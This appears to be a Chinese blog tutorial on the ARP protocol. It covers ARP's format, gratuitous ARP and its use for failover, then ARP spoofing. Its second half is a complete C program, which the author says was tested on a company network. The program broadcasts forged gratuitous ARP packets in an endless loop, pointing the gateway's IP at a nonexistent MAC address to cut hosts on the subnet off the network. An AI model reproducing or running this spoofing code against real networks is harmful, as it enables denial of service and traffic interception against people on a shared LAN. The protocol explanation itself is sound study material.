0. 前言
本章主要简单的介绍ARP的协议格式,主机如何发送和处理ARP报文,以及免费ARP。
1. ARP协议原理
ARP,全称Address Resolution Protocol,地址解析协议,在网络中,有IP地址和MAC地址,在链路层发送报文时使用的是MAC硬件地址,这时需要将IP地址转换为48bit MAC地址,这就会使用到ARP协议。
如下,有两台主机,239主机ping向238主机。当本地ARP缓存中没有238主机对应的项时,会发起ARP广播请求,之后使用arp命令查看ARP缓存,可以看到238主机对应的MAC,
在linux下使用tcpdump工具查看底层数据流可以得知:
其序列图以及ARP缓存如下:
在239主机查看arp缓存结果:
2. ARP协议格式
下图为ARP协议报文的格式信息(图百度得来),这里如上例子,发送的ARP请求报文中,以太网源地址即为239主机,而以太网目的地址则为ff:ff:ff:ff:ff:ff,发送端以太网地址和IP地址为239主机,目的以太网地址为全0,目的IP地址为172.16.17.238
3. 免费ARP
gratuitous ARP,主机发送查找自己的ARP地址,即主机发送的目的IP地址和发送端IP地址均为为自身,并且以太网源地址和目的以太网地址,发送端以太网地址均为自身的MAC地址,而以太网首部的以太网目的地址则为广播ff:ff:ff:ff:ff:ff。
这样子有两个作用,一个是查找是否有IP重复,二是更改同一网段下的主机ARP缓存对应的MAC地址。
对于作用二,有几个用途,可以被用作主备切换,即主机和备机共用一个VIP(Virtual IP),当在其它服务器ARP缓存中保存一个映射,VIP -> 主机MAC,当备机检测到主机宕机后,则发送免费ARP,更新其他服务器ARP缓存,形成VIP -> 备机MAC映射,这样就完成了简单的灾备。
例外一个之一用途就是ARP欺骗,数据窃听等。
4. ARP欺骗
原理是利用ARP来实现。可以利用为攻击主机或者路由器等,使得其不能上网之类的,网络执法官原理就是这样。下面的程序实现了一个简单的免费ARP,更改同一网段(172.16.17.*)下主机ARP缓存中网关的映射,将其缓存映射为一个不存在的MAC地址。
下面程序使用C实现,利用socket创建AF_PACKET来类型的套接字来直接操作链路层数据。已在公司的内部网络中测试过。
#include <sys/socket.h> #include <sys/types.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <linux/if_ether.h> #include <string.h> #include <arpa/inet.h> #include <stdlib.h> #include <assert.h> #include <stdio.h> #include <net/if.h> #include <errno.h> #define HARD_TYPE_ETHER 0x01 //硬件类型 #define PROTOCOL_IP 0x01 //IP协议类型 #define MAC_ADDR_LEN 0x06 //硬件地址长度 #define IP_ADDR_LEN 0x04 //IP地址长度 #define ARP_OP_REQUEST 0x01 //ARP请求操作 #define ARP_OP_RESPONSE 0x02 //ARP响应操作 //ARP报文 typedef struct arpPkg { unsigned short sHardType; //硬件类型 unsigned short sProtocolType; //协议类型 unsigned char cHardAddrLen; //硬件地址长度 unsigned char cIpAddrLen; //映射的协议地址长度 unsigned short sOpType; //操作类型 unsigned char aSendMac[6]; //发送者MAC地址 unsigned char aSendIP[4]; //发送者IP地址 unsigned char aDstMac[6]; //目的地MAC地址 unsigned char aDstIP[4]; //目的地IP地址 } ArpPkg; //将本机字节序转换为网络字节序 //并返回偏移长度 int HostToNetByte(char *pNet, unsigned char *aHostByte, int nLen) { int i, j; for (i = nLen - 1, j = 0; i >= 0; --i, j++) { pNet[j] = aHostByte[i]; } return j; } static int GetHex( char cAsc ) { if ( isdigit( cAsc ) ) return cAsc - '0'; if ( isalpha( cAsc ) ) cAsc = tolower( cAsc ) - 'a'; return cAsc + 10; } //将Asc转换为Hex int AscToHex( const char *pAsc, char *pHex, int *pHexLen ) { int i, nHexLen; int nAscLen = strlen( pAsc ); for ( i = 0, nHexLen = 0; i < nAscLen; i += 2 ) { pHex[nHexLen++] = (GetHex( pAsc[i] ) << 4) | (GetHex( pAsc[i + 1] ) & 0xF); //高字节 | 低字节 } *pHexLen = nHexLen; return 0; } //字符串转为HEX后再转为网络字节序 int AscToNetByte(char *pAsc, unsigned char *pNetByte) { unsigned char aHostByte[7]; int nHostByteLen = sizeof(aHostByte); AscToHex(pAsc, (char *)aHostByte, &nHostByteLen); return HostToNetByte(pNetByte, aHostByte, nHostByteLen); } //组Arp报文,并返回报文长度 int BuildArpPkg(ArpPkg * pArpPkg, char *pPkg) { int nPos = 0; nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sHardType, 2); nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sProtocolType, 2); pPkg[nPos++] = pArpPkg->cHardAddrLen; pPkg[nPos++] = pArpPkg->cIpAddrLen; nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sOpType, 2); nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendMac, 6); nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendIP, 4); nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstMac, 6); nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstIP, 4); return nPos; } //初始化ARP公共信息 static void InitArpCommField(ArpPkg * pArpPkg, int nOpType) { pArpPkg->sHardType = HARD_TYPE_ETHER; //以太网类型 pArpPkg->sProtocolType = ETH_P_IP; //IP数据包协议 pArpPkg->cHardAddrLen = MAC_ADDR_LEN; pArpPkg->cIpAddrLen = IP_ADDR_LEN; pArpPkg->sOpType = nOpType; } //组ARP请求报文 int BuildArpRequest(unsigned char *pPkg, char *pSendMacStr, char *pSendIpStr, char *pDstMacStr, char *pDstIpStr) { ArpPkg stArpPkg; memset(&stArpPkg, 0, sizeof(ArpPkg)); InitArpCommField(&stArpPkg, ARP_OP_REQUEST); AscToNetByte(pSendMacStr, stArpPkg.aSendMac); AscToNetByte(pSendIpStr, stArpPkg.aSendIP); AscToNetByte(pDstMacStr, stArpPkg.aDstMac); AscToNetByte(pDstIpStr, stArpPkg.aDstIP); return BuildArpPkg(&stArpPkg, pPkg); } int main(int argc, char const *argv[]) { char *pMac = "ffffffffffff"; //目的MAC 广播 char *pDstIP = "AC1011FE"; //目的IP 172.16.17.254 char *pTrickMac = "000000000000"; //伪装的MAC char *pTrickIP = "AC1011FE"; //伪装的IP,172.16.17.254 unsigned char aMacByte[7]; int nFd = socket(AF_PACKET, SOCK_DGRAM, 0); //初始化链路地址信息 struct sockaddr_ll sockaddr; memset(&sockaddr, 0, sizeof(struct sockaddr_ll)); sockaddr.sll_family = htons(AF_PACKET); sockaddr.sll_protocol = htons(ETH_P_ARP); sockaddr.sll_halen = htons(6); AscToNetByte(pTrickMac, aMacByte); memcpy(sockaddr.sll_addr, aMacByte, 6); sockaddr.sll_ifindex = IFF_BROADCAST; //广播 //创建免费ARP请求报文 unsigned char aPkg[64] = {0}; int nPkgLen = BuildArpRequest(aPkg, pTrickMac, pTrickIP, pMac, pDstIP); //不间断发送ARP请求 while (1) { int nRet = sendto(nFd, aPkg, nPkgLen, 0, (struct sockaddr *)&sockaddr, sizeof(sockaddr)); if (nRet == -1) { perror("Error"); exit(-1); } usleep(100); } close(nFd); return 0; }